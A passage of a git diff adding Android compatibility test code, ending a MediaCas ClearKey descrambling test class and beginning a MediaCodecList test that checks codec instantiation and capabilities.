+            "65 61 64 5f 74 68 72 65  61 64 73 3d 35 20 73 6c" +
+            "69 63 65 64 5f 74 68 72  65 61 64 73 3d 30 20 6e" +
+            "72 3d 30 20 64 65 63 69  6d 61 74 65 3d 31 20 69" +
+            "6e 74 65 72 6c 61 63 65  64 3d 30 20 62 6c 75 72" +
+            "61 79 5f 63 6f 6d 70 61  74 3d 30 20 63 6f 6e 73" +
+            "74 72 61 69 6e 65 64 5f  69 6e 74 72 61 3d 30 20" +
+            "62 66 72 61 6d 65 73 3d  30 20 77 65 69 67 68 74" +
+            "70 3d 30 20 6b 65 79 69  6e 74 3d 32 35 30 20 6b" +
+            "65 79 69 6e 74 5f 6d 69  6e 3d 32 35 20 73 63 65" +
+            "6e 65                                           " ;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        // Need MANAGE_USERS or CREATE_USERS permission to access ActivityManager#getCurrentUser in
+        // MediaCas. It is used by all tests, then adopt it from shell in setup
+        InstrumentationRegistry
+            .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        InstrumentationRegistry
+            .getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        super.tearDown();
+    }
+    /**
+     * Test that all enumerated CA systems can be instantiated.
+     *
+     * Due to the vendor-proprietary nature of CAS, we cannot verify all operations
+     * of an arbitrary plugin. We can only verify that isSystemIdSupported() is
+     * consistent with the enumeration results, and all enumerated CA system ids can
+     * be instantiated.
+     */
+    public void testEnumeratePlugins() throws Exception {
+        PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
+        for (int i = 0; i < descriptors.length; i++) {
+            Log.d(TAG, "desciptor[" + i + "]: id=" + descriptors[i].getSystemId()
+                    + ", name=" + descriptors[i].getName());
+            MediaCas mediaCas = null;
+            MediaDescrambler descrambler = null;
+            byte[] sessionId = null, streamSessionId = null;
+            try {
+                final int CA_system_id = descriptors[i].getSystemId();
+                if (!MediaCas.isSystemIdSupported(CA_system_id)) {
+                    fail("Enumerated " + descriptors[i] + " but is not supported.");
+                }
+                try {
+                    mediaCas = new MediaCas(CA_system_id);
+                } catch (UnsupportedCasException e) {
+                    Log.d(TAG, "Enumerated " + descriptors[i]
+                        + " but cannot instantiate MediaCas.");
+                    throw new UnsupportedCasException(
+                        descriptors[i] + " is enumerated, but cannot instantiate" );
+                }
+                try {
+                    descrambler = new MediaDescrambler(CA_system_id);
+                } catch (UnsupportedCasException e) {
+                    // The descrambler can be supported through Tuner since R.
+                    if (mIsAtLeastR) {
+                        Log.d(TAG, "Enumerated "
+                            + descriptors[i] + ", it doesn't support MediaDescrambler.");
+                    } else {
+                        fail("Enumerated " + descriptors[i]
+                            + " but cannot instantiate MediaDescrambler.");
+                    }
+                }
+
+                // Should always accept a listener (even if the plugin doesn't use it)
+                mediaCas.setEventListener(new MediaCas.EventListener() {
+                    @Override
+                    public void onEvent(MediaCas MediaCas, int event, int arg, byte[] data) {
+                        Log.d(TAG, "Received MediaCas event: "
+                                + "event=" + event + ", arg=" + arg
+                                + ", data=" + Arrays.toString(data));
+                    }
+                    @Override
+                    public void onSessionEvent(MediaCas MediaCas, MediaCas.Session session,
+                            int event, int arg, byte[] data) {
+                        Log.d(TAG, "Received MediaCas Session event: "
+                                + "event=" + event + ", arg=" + arg
+                                + ", data=" + Arrays.toString(data));
+                    }
+                }, null);
+            } finally {
+                if (mediaCas != null) {
+                    mediaCas.close();
+                }
+                if (descrambler != null) {
+                    descrambler.close();
+                }
+            }
+        }
+    }
+
+    public void testInvalidSystemIdFails() throws Exception {
+        assertFalse("Invalid id " + sInvalidSystemId + " should not be supported",
+                MediaCas.isSystemIdSupported(sInvalidSystemId));
+
+        MediaCas unsupportedCAS = null;
+        MediaDescrambler unsupportedDescrambler = null;
+
+        try {
+            try {
+                unsupportedCAS = new MediaCas(sInvalidSystemId);
+                fail("Shouldn't be able to create MediaCas with invalid id " + sInvalidSystemId);
+            } catch (UnsupportedCasException e) {
+                // expected
+            }
+
+            try {
+                unsupportedDescrambler = new MediaDescrambler(sInvalidSystemId);
+                fail("Shouldn't be able to create MediaDescrambler with invalid id " + sInvalidSystemId);
+            } catch (UnsupportedCasException e) {
+                // expected
+            }
+        } finally {
+            if (unsupportedCAS != null) {
+                unsupportedCAS.close();
+            }
+            if (unsupportedDescrambler != null) {
+                unsupportedDescrambler.close();
+            }
+        }
+    }
+
+    public void testClearKeyPluginInstalled() throws Exception {
+        PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
+        for (int i = 0; i < descriptors.length; i++) {
+            if (descriptors[i].getSystemId() == sClearKeySystemId) {
+                return;
+            }
+        }
+        fail("ClearKey plugin " + String.format("0x%d", sClearKeySystemId) + " is not found");
+    }
+
+    /**
+     * Test that valid call sequences succeed.
+     */
+    public void testClearKeyApis() throws Exception {
+        MediaCas mediaCas = null;
+        MediaDescrambler descrambler = null;
+
+        try {
+            if (mIsAtLeastR) {
+                mediaCas = new MediaCas(getContext(), sClearKeySystemId, null,
+                    android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE);
+            } else {
+                mediaCas = new MediaCas(sClearKeySystemId);
+            }
+            descrambler = new MediaDescrambler(sClearKeySystemId);
+
+            mediaCas.provision(sProvisionStr);
+
+            byte[] pvtData = new byte[256];
+            mediaCas.setPrivateData(pvtData);
+
+            Session session = mediaCas.openSession();
+            if (session == null) {
+                fail("Can't open session for program");
+            }
+
+            if (mIsAtLeastR) {
+                Log.d(TAG, "Session Id = " + Arrays.toString(session.getSessionId()));
+            }
+
+            session.setPrivateData(pvtData);
+
+            Session streamSession = mediaCas.openSession();
+            if (streamSession == null) {
+                fail("Can't open session for stream");
+            }
+            streamSession.setPrivateData(pvtData);
+
+            descrambler.setMediaCasSession(session);
+
+            descrambler.setMediaCasSession(streamSession);
+
+            mediaCas.refreshEntitlements(3, null);
+
+            byte[] refreshBytes = new byte[4];
+            refreshBytes[0] = 0;
+            refreshBytes[1] = 1;
+            refreshBytes[2] = 2;
+            refreshBytes[3] = 3;
+
+            mediaCas.refreshEntitlements(10, refreshBytes);
+
+            final HandlerThread thread = new HandlerThread("EventListenerHandlerThread");
+            thread.start();
+            Handler handler = new Handler(thread.getLooper());
+            testEventEcho(mediaCas, 1, 2, null /* data */, handler);
+            testSessionEventEcho(mediaCas, session, 1, 2, null /* data */, handler);
+            if (mIsAtLeastR) {
+                testOpenSessionEcho(mediaCas, 0, 2, handler);
+            }
+            thread.interrupt();
+
+            String eventDataString = "event data string";
+            byte[] eventData = eventDataString.getBytes();
+            testEventEcho(mediaCas, 3, 4, eventData, null /* handler */);
+            testSessionEventEcho(mediaCas, session, 3, 4, eventData, null /* handler */);
+
+            String emm = "clear key emm";
+            byte[] emmData = emm.getBytes();
+            mediaCas.processEmm(emmData);
+
+            byte[] ecmData = loadByteArrayFromString(sEcmBufferStr);
+            session.processEcm(ecmData);
+            streamSession.processEcm(ecmData);
+
+            ByteBuffer outputBuf = descrambleTestInputBuffer(descrambler);
+            ByteBuffer expectedOutputBuf = ByteBuffer.wrap(
+                    loadByteArrayFromString(sExpectedOutputBufferStr));
+            assertTrue("Incorrect decryption result",
+                    expectedOutputBuf.compareTo(outputBuf) == 0);
+
+            session.close();
+            streamSession.close();
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+            if (descrambler != null) {
+                descrambler.close();
+            }
+        }
+    }
+
+    /**
+     * Test that all sessions are closed after a MediaCas object is released.
+     */
+    public void testClearKeySessionClosedAfterRelease() throws Exception {
+        MediaCas mediaCas = null;
+        MediaDescrambler descrambler = null;
+
+        try {
+            mediaCas = new MediaCas(sClearKeySystemId);
+            descrambler = new MediaDescrambler(sClearKeySystemId);
+            mediaCas.provision(sProvisionStr);
+
+            Session session = mediaCas.openSession();
+            if (session == null) {
+                fail("Can't open session for program");
+            }
+
+            Session streamSession = mediaCas.openSession();
+            if (streamSession == null) {
+                fail("Can't open session for stream");
+            }
+
+            mediaCas.close();
+            mediaCas = null;
+
+            try {
+                descrambler.setMediaCasSession(session);
+                fail("Program session not closed after MediaCas is released");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "setMediaCasSession throws "
+                        + e.getDiagnosticInfo() + " (as expected)");
+            }
+            try {
+                descrambler.setMediaCasSession(streamSession);
+                fail("Stream session not closed after MediaCas is released");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "setMediaCasSession throws "
+                        + e.getDiagnosticInfo() + " (as expected)");
+            }
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+            if (descrambler != null) {
+                descrambler.close();
+            }
+        }
+    }
+
+    /**
+     * Test that invalid call sequences fail with expected exceptions.
+     */
+    public void testClearKeyExceptions() throws Exception {
+        MediaCas mediaCas = null;
+        MediaDescrambler descrambler = null;
+
+        try {
+            mediaCas = new MediaCas(sClearKeySystemId);
+            descrambler = new MediaDescrambler(sClearKeySystemId);
+
+            /*
+             * Test MediaCas exceptions
+             */
+
+            // provision should fail with an invalid asset string
+            try {
+                mediaCas.provision("invalid asset string");
+                fail("provision shouldn't succeed with invalid asset");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "provision throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            // processEmm should reject invalid offset and length
+            String emm = "clear key emm";
+            byte[] emmData = emm.getBytes();
+            try {
+                mediaCas.processEmm(emmData, 8, 40);
+            } catch (ArrayIndexOutOfBoundsException e) {
+                Log.d(TAG, "processEmm throws ArrayIndexOutOfBoundsException (as expected)");
+            }
+
+            // open a session, then close it so that it should become invalid
+            Session invalidSession = mediaCas.openSession();
+            if (invalidSession == null) {
+                fail("Can't open session for program");
+            }
+            invalidSession.close();
+
+            byte[] ecmData = loadByteArrayFromString(sEcmBufferStr);
+
+            // processEcm should fail with an invalid session id
+            try {
+                invalidSession.processEcm(ecmData);
+                fail("processEcm shouldn't succeed with invalid session id");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "processEcm throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            Session session = mediaCas.openSession();
+            if (session == null) {
+                fail("Can't open session for program");
+            }
+
+            // processEcm should fail without provisioning
+            try {
+                session.processEcm(ecmData);
+                fail("processEcm shouldn't succeed without provisioning");
+            } catch (MediaCasException.NotProvisionedException e) {
+                Log.d(TAG, "processEcm throws NotProvisionedException (as expected)");
+            }
+
+            // Now provision it, and expect failures other than NotProvisionedException
+            mediaCas.provision(sProvisionStr);
+
+            // processEcm should fail with ecm buffer that's too short
+            try {
+                session.processEcm(ecmData, 0, 8);
+                fail("processEcm shouldn't succeed with truncated ecm");
+            } catch (IllegalArgumentException e) {
+                Log.d(TAG, "processEcm throws " + e.toString() + " (as expected)");
+            }
+
+            // processEcm should fail with ecm with bad descriptor count
+            try {
+                ecmData[17] = 3; // change the descriptor count field to 3 (invalid)
+                session.processEcm(ecmData);
+                fail("processEcm shouldn't succeed with altered descriptor count");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "processEcm throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            /*
+             * Test MediaDescrambler exceptions
+             */
+
+            // setMediaCasSession should fail with an invalid session id
+            try {
+                descrambler.setMediaCasSession(invalidSession);
+                fail("setMediaCasSession shouldn't succeed with invalid session id");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "setMediaCasSession throws "
+                        + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            // descramble should fail without a valid session
+            try {
+                ByteBuffer outputBuf = descrambleTestInputBuffer(descrambler);
+                fail("descramble should fail without a valid session");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "descramble throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            // Now set a valid session, should still fail because no valid ecm is processed
+            descrambler.setMediaCasSession(session);
+            try {
+                ByteBuffer outputBuf = descrambleTestInputBuffer(descrambler);
+                fail("descramble should fail without valid ecm");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "descramble throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+            if (descrambler != null) {
+                descrambler.close();
+            }
+        }
+    }
+
+    /**
+     * Test Resource Lost Event.
+     */
+    public void testResourceLostEvent() throws Exception {
+        MediaCas mediaCas = null;
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
+        try {
+            mediaCas = new MediaCas(getContext(), sClearKeySystemId, null,
+                android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE);
+
+            mediaCas.provision(sProvisionStr);
+
+            byte[] pvtData = new byte[256];
+            mediaCas.setPrivateData(pvtData);
+
+            Session session = mediaCas.openSession();
+            if (session == null) {
+                fail("Can't open session for program");
+            }
+
+            Session streamSession = mediaCas.openSession();
+            if (streamSession == null) {
+                fail("Can't open session for stream");
+            }
+
+            final HandlerThread thread = new HandlerThread("EventListenerHandlerThread");
+            thread.start();
+            Handler handler = new Handler(thread.getLooper());
+            testForceResourceLost(mediaCas, handler);
+            thread.interrupt();
+
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+        }
+    }
+
+    /**
+     * Test Set Event Listener in MediaCas Constructor.
+     */
+    public void testConstructWithEventListener() throws Exception {
+        MediaCas mediaCas = null;
+        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+
+        try {
+            TestEventListener listener = new TestEventListener();
+            HandlerThread thread = new HandlerThread("EventListenerHandlerThread");
+            thread.start();
+            Handler handler = new Handler(thread.getLooper());
+
+            mediaCas = new MediaCas(getContext(), sClearKeySystemId, null,
+                android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE, handler,
+                listener);
+
+            thread.interrupt();
+
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+        }
+    }
+
+    private class TestEventListener implements MediaCas.EventListener {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final MediaCas mMediaCas;
+        private final MediaCas.Session mSession;
+        private final int mEvent;
+        private final int mArg;
+        private final byte[] mData;
+        private boolean mIsIdential;
+
+        TestEventListener() {
+            mMediaCas = null;
+            mEvent = 0;
+            mArg = 0;
+            mData = null;
+            mSession = null;
+        }
+
+        TestEventListener(MediaCas mediaCas, int event, int arg, byte[] data) {
+            mMediaCas = mediaCas;
+            mEvent = event;
+            mArg = arg;
+            mData = data;
+            mSession = null;
+        }
+
+        TestEventListener(MediaCas mediaCas, MediaCas.Session session, int event,
+                int arg, byte[] data) {
+            mMediaCas = mediaCas;
+            mSession = session;
+            mEvent = event;
+            mArg = arg;
+            mData = data;
+        }
+
+        TestEventListener(MediaCas mediaCas, int intent, int scramblingMode) {
+            mMediaCas = mediaCas;
+            mEvent = intent;
+            mArg = scramblingMode;
+            mData = null;
+            mSession = null;
+        }
+
+        TestEventListener(MediaCas mediaCas) {
+            mMediaCas = mediaCas;
+            mEvent = 0;
+            mArg = 0;
+            mData = null;
+            mSession = null;
+        }
+
+        boolean waitForResult() {
+            try {
+                if (!mLatch.await(1, TimeUnit.SECONDS)) {
+                    return false;
+                }
+                return mIsIdential;
+            } catch (InterruptedException e) {}
+            return false;
+        }
+
+        @Override
+        public void onEvent(MediaCas mediaCas, int event, int arg, byte[] data) {
+            Log.d(TAG, "Received MediaCas event: event=" + event
+                    + ", arg=" + arg + ", data=" + Arrays.toString(data));
+            if (mediaCas == mMediaCas && event == mEvent
+                    && arg == mArg && (Arrays.equals(data, mData) ||
+                            data == null && mData.length == 0 ||
+                            mData == null && data.length == 0)) {
+                mIsIdential = true;
+            }
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onSessionEvent(MediaCas mediaCas, MediaCas.Session session,
+            int event, int arg, byte[] data) {
+            Log.d(TAG, "Received MediaCas session event: event=" + event
+                    + ", arg=" + arg + ", data=" + Arrays.toString(data));
+            if (mediaCas == mMediaCas && mSession.equals(session) && event == mEvent
+                    && arg == mArg && (Arrays.equals(data, mData) ||
+                            data == null && mData.length == 0 ||
+                            mData == null && data.length == 0)) {
+                mIsIdential = true;
+            }
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onPluginStatusUpdate(MediaCas mediaCas, int statusUpdated, int arg) {
+            Log.d(TAG, "Received MediaCas Status Update event");
+            if (mediaCas == mMediaCas && statusUpdated == mEvent && arg == mArg ) {
+                mIsIdential = true;
+            }
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onResourceLost(MediaCas mediaCas) {
+            Log.d(TAG, "Received MediaCas Resource Lost event");
+            if (mediaCas == mMediaCas) {
+                mIsIdential = true;
+            }
+            mLatch.countDown();
+        }
+    }
+
+    // helper to send an event and wait for echo
+    private void testEventEcho(MediaCas mediaCas, int event,
+            int arg, byte[] data, Handler handler) throws Exception {
+        TestEventListener listener = new TestEventListener(mediaCas, event, arg, data);
+        mediaCas.setEventListener(listener, handler);
+        mediaCas.sendEvent(event, arg, data);
+        assertTrue("Didn't receive event callback for " + event, listener.waitForResult());
+    }
+
+    // helper to send an event and wait for echo
+    private void testSessionEventEcho(MediaCas mediaCas, MediaCas.Session session, int event,
+            int arg, byte[] data, Handler handler) throws Exception {
+        TestEventListener listener = new TestEventListener(mediaCas, session, event, arg, data);
+        mediaCas.setEventListener(listener, handler);
+        try {
+            session.sendSessionEvent(event, arg, data);
+        } catch (UnsupportedCasException e) {
+            if (!PropertyUtil.isVendorApiLevelNewerThan(API_LEVEL_BEFORE_CAS_SESSION)){
+                Log.d(TAG, "Send Session Event isn't supported, Skipped this test case");
+                return;
+            }
+            throw e;
+        }
+        assertTrue("Didn't receive session event callback for " + event, listener.waitForResult());
+    }
+
+    // helper to open Session with scrambling mode and wait for echo for status change event
+    private void testOpenSessionEcho(MediaCas mediaCas, int intent, int scramblingMode,
+        Handler handler) throws Exception {
+        TestEventListener listener = new TestEventListener(mediaCas, intent, scramblingMode);
+        mediaCas.setEventListener(listener, handler);
+        try {
+            mediaCas.openSession(intent, scramblingMode);
+        } catch (UnsupportedCasException e) {
+            if (!PropertyUtil.isVendorApiLevelNewerThan(API_LEVEL_BEFORE_CAS_SESSION + 1)) {
+                Log.d(TAG,
+                    "Opens Session with scramblingMode isn't supported, Skipped this test case");
+                return;
+            }
+            throw e;
+        }
+        assertTrue("Didn't receive Echo from openSession with scrambling mode: " + scramblingMode,
+            listener.waitForResult());
+    }
+
+    // helper to force to lose resource and wait for Resource Lost event
+    private void testForceResourceLost(MediaCas mediaCas, Handler handler) throws Exception {
+        TestEventListener listener = new TestEventListener(mediaCas);
+        mediaCas.setEventListener(listener, handler);
+        mediaCas.forceResourceLost();
+        assertTrue("Didn't receive Resource Lost event ", listener.waitForResult());
+    }
+
+    // helper to descramble from the sample input (sInputBufferStr) and get output buffer
+    private ByteBuffer descrambleTestInputBuffer(
+            MediaDescrambler descrambler) throws Exception {
+        MediaCodec.CryptoInfo cryptoInfo = new MediaCodec.CryptoInfo();
+        int[] numBytesOfClearData     = new int[] { 162,   0,   0 };
+        int[] numBytesOfEncryptedData = new int[] {   0, 184, 184 };
+        byte[] key = new byte[16];
+        key[0] = 2; // scrambling mode = even key
+        byte[] iv = new byte[16]; // not used
+        cryptoInfo.set(3, numBytesOfClearData, numBytesOfEncryptedData,
+                key, iv, MediaCodec.CRYPTO_MODE_AES_CBC);
+        ByteBuffer inputBuf = ByteBuffer.wrap(
+                loadByteArrayFromString(sInputBufferStr));
+        ByteBuffer outputBuf = ByteBuffer.allocate(inputBuf.capacity());
+        descrambler.descramble(inputBuf, outputBuf, cryptoInfo);
+
+        return outputBuf;
+    }
+
+    // helper to load byte[] from a String
+    private byte[] loadByteArrayFromString(final String str) {
+        Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
+        Matcher matcher = pattern.matcher(str);
+        // allocate a large enough byte array first
+        byte[] tempArray = new byte[str.length() / 2];
+        int i = 0;
+        while (matcher.find()) {
+          tempArray[i++] = (byte)Integer.parseInt(matcher.group(), 16);
+        }
+        return Arrays.copyOfRange(tempArray, 0, i);
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaCodecListTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaCodecListTest.java
new file mode 100644
index 0000000..4b36407
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaCodecListTest.java
@@ -0,0 +1,1015 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_TunneledPlayback;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.PropertyUtil;
+
+import android.content.pm.PackageManager;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.AudioCapabilities;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.EncoderCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.os.Build;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.util.Pair;
+import android.util.Range;
+import android.util.Size;
+
+import androidx.test.filters.SmallTest;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+@Presubmit
+@SmallTest
+@RequiresDevice
+public class MediaCodecListTest extends AndroidTestCase {
+
+    private static final String TAG = "MediaCodecListTest";
+    private static final String MEDIA_CODEC_XML_FILE = "/etc/media_codecs.xml";
+    private static final String VENDOR_MEDIA_CODEC_XML_FILE = "/vendor/etc/media_codecs.xml";
+    private static final String ODM_MEDIA_CODEC_XML_FILE = "/odm/etc/media_codecs.xml";
+    private final MediaCodecList mRegularCodecs =
+            new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+    private final MediaCodecList mAllCodecs =
+            new MediaCodecList(MediaCodecList.ALL_CODECS);
+    private final MediaCodecInfo[] mRegularInfos =
+            mRegularCodecs.getCodecInfos();
+    private final MediaCodecInfo[] mAllInfos =
+            mAllCodecs.getCodecInfos();
+
+    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    class CodecType {
+        CodecType(String type, boolean isEncoder, MediaFormat sampleFormat) {
+            mMimeTypeName = type;
+            mIsEncoder = isEncoder;
+            mSampleFormat = sampleFormat;
+        }
+
+        boolean equals(CodecType codecType) {
+            return (mMimeTypeName.compareTo(codecType.mMimeTypeName) == 0) &&
+                    mIsEncoder == codecType.mIsEncoder;
+        }
+
+        boolean canBeFound() {
+            return codecCanBeFound(mIsEncoder, mSampleFormat);
+        }
+
+        @Override
+        public String toString() {
+            return mMimeTypeName + (mIsEncoder ? " encoder" : " decoder") + " for " + mSampleFormat;
+        }
+
+        private String mMimeTypeName;
+        private boolean mIsEncoder;
+        private MediaFormat mSampleFormat;
+    };
+
+    class AudioCodec extends CodecType {
+        AudioCodec(String mime, boolean isEncoder, int sampleRate) {
+            super(mime, isEncoder, MediaFormat.createAudioFormat(
+                    mime, sampleRate, 1 /* channelCount */));
+        }
+    }
+
+    class VideoCodec extends CodecType {
+        VideoCodec(String mime, boolean isEncoder) {
+            // implicit assumption that QVGA video is always valid
+            super(mime, isEncoder, MediaFormat.createVideoFormat(
+                    mime, 176 /* width */, 144 /* height */));
+        }
+    }
+
+    public static boolean hasExpandedCodecInfo() {
+        return PropertyUtil.isVendorApiLevelNewerThan(29);
+    }
+
+    public static void testMediaCodecXmlFileExist() {
+        File file = new File(MEDIA_CODEC_XML_FILE);
+        File vendorFile = new File(VENDOR_MEDIA_CODEC_XML_FILE);
+        File odmFile = new File(ODM_MEDIA_CODEC_XML_FILE);
+        assertTrue("media_codecs.xml does not exist in /odm/etc, /vendor/etc or /etc.",
+                file.exists() || vendorFile.exists() || odmFile.exists());
+    }
+
+    private MediaCodecInfo[] getLegacyInfos() {
+        Log.d(TAG, "getLegacyInfos");
+
+        int codecCount = MediaCodecList.getCodecCount();
+        MediaCodecInfo[] res = new MediaCodecInfo[codecCount];
+
+        for (int i = 0; i < codecCount; ++i) {
+            res[i] = MediaCodecList.getCodecInfoAt(i);
+        }
+        return res;
+    }
+
+    public void assertEqualsOrSuperset(Set big, Set tiny, boolean superset) {
+        if (!superset) {
+            assertEquals(big, tiny);
+        } else {
+            assertTrue(big.containsAll(tiny));
+        }
+    }
+
+    private static <T> Set<T> asSet(T[] array) {
+        Set<T> s = new HashSet<T>();
+        for (T el : array) {
+            s.add(el);
+        }
+        return s;
+    }
+
+    private static Set<Integer> asSet(int[] array) {
+        Set<Integer> s = new HashSet<Integer>();
+        for (int el : array) {
+            s.add(el);
+        }
+        return s;
+    }
+
+    public void assertEqualsOrSuperset(
+            CodecCapabilities big, CodecCapabilities tiny, boolean superset) {
+        // ordering of enumerations may differ
+        assertEqualsOrSuperset(asSet(big.colorFormats), asSet(tiny.colorFormats), superset);
+        assertEqualsOrSuperset(asSet(big.profileLevels), asSet(tiny.profileLevels), superset);
+        AudioCapabilities bigAudCaps = big.getAudioCapabilities();
+        VideoCapabilities bigVidCaps = big.getVideoCapabilities();
+        EncoderCapabilities bigEncCaps = big.getEncoderCapabilities();
+        AudioCapabilities tinyAudCaps = tiny.getAudioCapabilities();
+        VideoCapabilities tinyVidCaps = tiny.getVideoCapabilities();
+        EncoderCapabilities tinyEncCaps = tiny.getEncoderCapabilities();
+        assertEquals(bigAudCaps != null, tinyAudCaps != null);
+        assertEquals(bigAudCaps != null, tinyAudCaps != null);
+        assertEquals(bigAudCaps != null, tinyAudCaps != null);
+    }
+
+    public void assertEqualsOrSuperset(
+            MediaCodecInfo big, MediaCodecInfo tiny, boolean superset) {
+        assertEquals(big.getName(), tiny.getName());
+        assertEquals(big.isEncoder(), tiny.isEncoder());
+        assertEqualsOrSuperset(
+                asSet(big.getSupportedTypes()), asSet(tiny.getSupportedTypes()), superset);
+        for (String type : big.getSupportedTypes()) {
+            assertEqualsOrSuperset(
+                    big.getCapabilitiesForType(type),
+                    tiny.getCapabilitiesForType(type),
+                    superset);
+        }
+    }
+
+    public void assertSuperset(MediaCodecInfo big, MediaCodecInfo tiny) {
+        assertEqualsOrSuperset(big, tiny, true /* superset */);
+    }
+
+    public void assertEquals(MediaCodecInfo big, MediaCodecInfo tiny) {
+        assertEqualsOrSuperset(big, tiny, false /* superset */);
+    }
+
+    // Each component advertised by MediaCodecList should at least be
+    // instantiable.
+    private void testComponentInstantiation(MediaCodecInfo[] infos) throws IOException {
+        for (MediaCodecInfo info : infos) {
+            Log.d(TAG, "codec: " + info.getName());
+            Log.d(TAG, "  isEncoder = " + info.isEncoder());
+
+            MediaCodec codec = MediaCodec.createByCodecName(info.getName());
+
+            assertEquals(codec.getName(), info.getName());
+            assertEquals(codec.getCanonicalName(), info.getCanonicalName());
+            assertEquals(codec.getCodecInfo(), info);
+
+            codec.release();
+            codec = null;
+        }
+    }
+
+    public void testRegularComponentInstantiation() throws IOException {
+        Log.d(TAG, "testRegularComponentInstantiation");
+        testComponentInstantiation(mRegularInfos);
+    }
+
+    public void testAllComponentInstantiation() throws IOException {
+        Log.d(TAG, "testAllComponentInstantiation");
+        testComponentInstantiation(mAllInfos);
+    }
+
+    public void testLegacyComponentInstantiation() throws IOException {
+        Log.d(TAG, "testLegacyComponentInstantiation");
+        testComponentInstantiation(getLegacyInfos());
+    }
+
+    // For each type advertised by any of the components we should be able
+    // to get capabilities.
+    private void testGetCapabilities(MediaCodecInfo[] infos) {
+        for (MediaCodecInfo info : infos) {
+            Log.d(TAG, "codec: " + info.getName());
+            Log.d(TAG, "  isEncoder = " + info.isEncoder());
+
+            String[] types = info.getSupportedTypes();
+            for (int j = 0; j < types.length; ++j) {
+                Log.d(TAG, "calling getCapabilitiesForType " + types[j]);
+                CodecCapabilities cap = info.getCapabilitiesForType(types[j]);
+            }
+        }
+    }
+
+    public void testGetRegularCapabilities() {
+        Log.d(TAG, "testGetRegularCapabilities");
+        testGetCapabilities(mRegularInfos);
+    }
+
+    public void testGetAllCapabilities() {
+        Log.d(TAG, "testGetAllCapabilities");
+        testGetCapabilities(mAllInfos);
+    }
+
+    public void testGetLegacyCapabilities() {
+        Log.d(TAG, "testGetLegacyCapabilities");
+        testGetCapabilities(getLegacyInfos());
+    }
+
+    public void testLegacyMediaCodecListIsSameAsRegular() {
+        // regular codecs should be equivalent to legacy codecs, including
+        // codec ordering
+        MediaCodecInfo[] legacyInfos = getLegacyInfos();
+        assertEquals(legacyInfos.length, mRegularInfos.length);
+        for (int i = 0; i < legacyInfos.length; ++i) {
+            assertEquals(legacyInfos[i], mRegularInfos[i]);
+        }
+    }
+
+    public void testRegularMediaCodecListIsASubsetOfAll() {
+        Log.d(TAG, "testRegularMediaCodecListIsASubsetOfAll");
+        // regular codecs should be a subsequence of all codecs, including
+        // codec ordering
+        int ix = 0;
+        for (MediaCodecInfo info : mAllInfos) {
+            if (ix == mRegularInfos.length) {
+                break;
+            }
+            if (!mRegularInfos[ix].getName().equals(info.getName())) {
